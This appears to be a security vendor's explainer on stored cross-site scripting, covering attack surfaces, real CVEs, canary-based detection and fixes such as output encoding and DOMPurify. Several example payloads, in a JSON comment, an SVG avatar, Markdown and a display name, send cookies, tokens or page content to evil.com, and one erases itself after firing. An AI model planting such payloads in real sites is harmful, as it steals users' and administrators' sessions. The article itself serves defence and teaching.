Malicious script persisted server-side and executed in every visitor's browser who loads the affected page.
TL;DR
Stored XSS (CWE-79, Type-2 XSS in the OWASP taxonomy) is a persistent injection vulnerability where an attacker writes a malicious script to a server-side data store — a database record, file system, log entry, or cache — and the script executes in every subsequent visitor's browser when the affected page is rendered. Unlike reflected XSS, stored XSS requires no social engineering after the initial injection: any user who loads the infected page triggers the payload automatically.
The severity scales directly with who views the injected content. A payload visible only to the original author is low-severity. The same payload stored in a public comment thread reaches every site visitor. When the payload fires in an administrator's browser — the most valuable target — it can create new admin accounts, inject persistent backdoors, and exfiltrate all user data. This is why stored XSS on admin-visible surfaces reaches CVSS 9.3 Critical (CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N).
The stored XSS lifecycle has four distinct steps: write, store, retrieve, and render.
The attack surface covers every place the application accepts text that is later rendered as HTML. Many injection points are invisible to surface-level testing because the write and render endpoints have different URL paths.
Common write endpoints that feed high-value render contexts:
| Write Surface | Read Context | Risk Level |
|---|---|---|
| Comment / review body | Public post page | High (all visitors) |
| User display name | Any page with username | Critical (site-wide) |
| User profile bio | Profile page | High |
| Support ticket message | Admin support dashboard | Critical (admin session) |
| Webhook payload | Webhook log viewer | Critical (admin session) |
| SVG / image EXIF metadata | Media management UI | High |
| Markdown editor with HTML | Rendered document | High |
REST JSON text fields (description, title, message) | API-driven UI | Varies |
| PDF generation input | Server-side render | Critical (executes on server IP) |
REST APIs are a blind spot for many scanners. JSON bodies with text fields like "description", "title", or "notes" feed into HTML templates far more often than developers realize. BreachVex tests a broad bank of common REST text field names for exactly this stored-XSS-via-JSON pattern.
The most straightforward variant: the payload lands directly in HTML body context.
POST /api/comments
Content-Type: application/json
Authorization: Bearer eyJ...
{
"body": "<script>fetch('https://evil.com/steal?t='+localStorage.getItem('token'))</script>"
}When the comment renders, every visitor's token is exfiltrated to the attacker's server.
SVG files are XML with full scripting capabilities. An application that serves uploaded SVGs with Content-Type: image/svg+xml — or embeds them inline — executes any JavaScript in the SVG.
<!-- malicious.svg — uploaded as user avatar -->
<svg xmlns="http://www.w3.org/2000/svg" onload="
fetch('https://evil.com/steal?c='+btoa(document.cookie))
">
<circle r="50" cx="50" cy="50" fill="red"/>
</svg>HackerOne #3357808 (Nextcloud, bounty $150) and HackerOne #3293290 (Nextcloud Contacts, bounty $100) both exploited SVG upload stored XSS in 2025. HackerOne #2257080 (GitLab, 71 upvotes) exploited the same vector through Markdown rendering.
Many Markdown renderers allow raw HTML passthrough for rich formatting. If the HTML is not sanitized before rendering, any event handler survives.
Normal text here.
<img src="x" onerror="fetch('https://evil.com/steal?d='+btoa(document.body.innerHTML).slice(0,200))">
More text.Payloads specifically crafted to fire in administrator contexts — no public visibility required.
POST /api/users/profile
Content-Type: application/json
{
"display_name": "Alice<img src=x id='bvx-fire' onerror=\"this.parentNode.removeChild(this);fetch('https://evil.com/fire',{method:'POST',body:JSON.stringify({cookie:document.cookie,url:location.href,dom:document.body.innerHTML.slice(0,500)})})\">Johnson"
}The payload fires when any admin views a user list or profile page. The removeChild call deletes the evidence from the DOM after execution.
CVE-2024-49038 — Microsoft Copilot Studio (CVSS 9.3 Critical) Published November 2024. Microsoft's AI chatbot building platform allowed unauthenticated attackers to inject scripts via insufficient input sanitization during web page generation. The payload executed in authenticated user sessions, enabling cross-tenant lateral movement within Microsoft 365 tenants — session hijack, token theft, and full organization compromise. Patched in the November 26, 2024 Patch Tuesday release.
CVE-2024-2194 — WP Statistics (>600,000 installs, CVSS 7.2) Stored XSS injected via the URL search parameter — stored without sanitization, then rendered unencoded in the administrator's analytics dashboard. Fastly CDN telemetry recorded mass exploitation waves from Netherlands-based IP ranges in 2024. An unauthenticated attacker could persistently execute scripts in every administrator session until the payload was discovered and removed.
CVE-2024-0007 — PAN-OS Panorama (CVSS 9.0 Critical) Palo Alto Networks Panorama management interface allowed authenticated users to inject persistent scripts visible to all administrators. In a shared-access enterprise management console, any junior user can escalate to full administrator control by targeting higher-privilege sessions.
POST, PUT, and PATCH endpoint that accepts text fields is a candidate<img src=x id="xss-canary-001"> — unique enough to grep for in the database, innocuous enough not to trigger WAF alertsLocation redirect header; strip write-verb suffixes (/new, /create, /add) from the write URL to derive the read-back URLonerror payload in the correct context; verify JavaScript execution in a fresh browser session--blind mode with an OOB callback URL covers cases where canary and execution are temporally separatedBreachVex detects stored XSS via a write-then-readback canary model: the scan submits a unique marked img tag to each write endpoint, strips known write-verb URL suffixes to derive the read-back URL, and verifies that the canary appears unencoded in the rendered HTML.
Encode stored data at the rendering step, not the storage step. Context determines the encoding:
from markupsafe import escape
import json
# Safe: HTML-encode at render time in Jinja2 template
# {{ user_comment | e }} → HTML entity encoding (Jinja2 default)
# {{ user_comment | safe }} → DANGEROUS: bypasses encoding
# Python — explicit encoding
safe_html = escape(stored_comment) # & " ' < > → HTML entities
# JavaScript context — always JSON-encode
safe_js = json.dumps(stored_value) # wraps in double-quotes, escapes \, ", \nWhen users must author HTML (WYSIWYG editors, Markdown with HTML), use DOMPurify — the only sanitizer recommended by OWASP for browser-side sanitization:
import DOMPurify from 'dompurify';
// Paranoid configuration — minimal allowed tags
const safeHTML = DOMPurify.sanitize(storedHTML, {
ALLOWED_TAGS: ['b', 'i', 'em', 'strong', 'a', 'p', 'br', 'ul', 'ol', 'li'],
ALLOWED_ATTR: ['href', 'title'],
ALLOW_DATA_ATTR: false,
FORCE_BODY: false,
});
// NEVER concatenate or mutate sanitized output:
element.innerHTML = safeHTML; // OK
element.innerHTML = safeHTML + userAddedSuffix; // mXSS risk — re-sanitizeAlways use DOMPurify ≥ 3.4.0. Versions ≤ 3.1.2 contain four chained mXSS bypasses (node flattening, __depth counter clobbering, elevator mutation, triple-parse) discovered by Kevin Mizu in 2024. Each bypass completely defeats sanitization.
# Nginx — serve user-uploaded SVGs as download, never as inline document
location /uploads/svg/ {
add_header Content-Disposition "attachment";
add_header Content-Type "application/octet-stream";
# Never: Content-Type: image/svg+xml for user-uploaded SVG
}Safe rendering in HTML: use <img src="user.svg"> — browsers disable scripting for SVG in <img> context. Never use <iframe src="user.svg"> or <object> for user-controlled SVG files.
| Framework | Dangerous API | Safer Alternative |
|---|---|---|
| React | dangerouslySetInnerHTML={{ __html: value }} | {value} (JSX auto-encodes) |
| Vue | v-html="value" | {{ value }} (text interpolation) |
| Angular | [innerHTML]="value" with bypassSecurityTrustHtml() | Angular DomSanitizer (default, without bypass) |
| Handlebars | {{{value}}} (triple-stache) | {{value}} (double-stache) |
| EJS | <%- value %> (raw output) | <%= value %> (escaped output) |
Stored XSS (also called persistent or Type-2 XSS) persists the payload in the server's data store — database, file system, log — and fires for every user who subsequently loads the affected page. Reflected XSS lives only in the attacker-crafted URL and requires the victim to click a link. Stored XSS is more dangerous because no social engineering is needed after the initial injection.
Stored XSS on a publicly visible endpoint is typically CVSS 7.2. When the payload fires in an authenticated administrator's session (Scope: Changed), it reaches CVSS 9.3 Critical — matching CVE-2024-49038 (Microsoft Copilot Studio).
Second-order XSS is a stored XSS variant where the payload is stored in one context and executed in a different one. For example, a username is stored safely, but when an admin generates a report, the username is inserted into an unsafe HTML template and the payload fires in the admin's browser.
Yes. If sanitization happens at write time but the stored value is later retrieved and inserted into a different context (e.g., JSON value placed into an HTML template), the sanitization may be context-inappropriate. Always sanitize at the output rendering step, not the input storage step.
Database comment/review fields, user profile bios and display names, SVG file uploads, Markdown editors with HTML passthrough, webhook log viewers, email template editors, EXIF metadata in uploaded images, and REST API JSON text fields are the most common stored XSS surfaces.
The payload executes in the victim's browser under the site's origin. It can read document.cookie (non-HttpOnly) or localStorage tokens, send them to the attacker, and allow impersonation. When targeting an admin account, the attacker can also create new admin accounts, inject backdoors, or exfiltrate all user data.
Admin notification systems and support ticket dashboards are the highest-value targets — payloads injected by a low-privilege user fire in the highest-privilege admin context. CVE-2023-40000 (LiteSpeed Cache, 5M installs) and CVE-2024-2194 (WP Statistics) both exploited this pattern.
BreachVex submits a unique canary (a marked img tag) to every write endpoint, normalizes the write URL to derive the read-back URL, then verifies whether the canary appears unencoded in the rendered response. Execution is confirmed in a real browser.